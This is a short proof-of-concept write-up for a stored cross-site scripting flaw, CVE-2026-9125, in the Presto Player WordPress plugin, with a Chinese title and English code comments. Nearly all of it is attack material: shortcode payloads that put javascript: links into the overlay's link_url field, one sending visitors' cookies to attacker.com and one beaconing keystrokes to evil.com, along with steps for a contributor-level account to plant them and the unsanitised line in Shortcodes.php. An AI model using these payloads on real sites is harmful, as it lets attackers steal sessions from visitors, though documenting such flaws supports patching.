CVE-2026-9125: Presto Player插件link_url参数存储型XSS漏洞

// Presto Player Stored XSS PoC // Target: Presto Player plugin <= 4.2.0 for WordPress // Attack Vector: [presto_player_overlay] shortcode with malicious link_url // Method 1: Basic XSS via javascript: protocol [presto_player_overlay link_url="javascript:alert(document.domain)" title="Click Me"] // Method 2: Cookie stealing payload [presto_player_overlay link_url="javascript:fetch('https://attacker.com/steal?c='+document.cookie)" title="Watch Video"] // Method 3: Session hijacking with keylogger [presto_player_overlay link_url="javascript:var i=new Image; i.src='https://evil.com/log?k='+event.key" title="Free Download"] // Exploitation steps: // 1. Attacker with contributor+ role creates/edits a post // 2. Inserts the malicious shortcode with javascript: URI // 3. Saves/publishes the post - payload stored in database // 4. Any user visiting the page triggers the XSS when clicking overlay link // Vulnerable code location (Shortcodes.php): // $overlay['link_url'] = $params['link_url']; // No sanitization! // Later rendered by presto-dynamic-overlays.js as: <a href="javascript:...">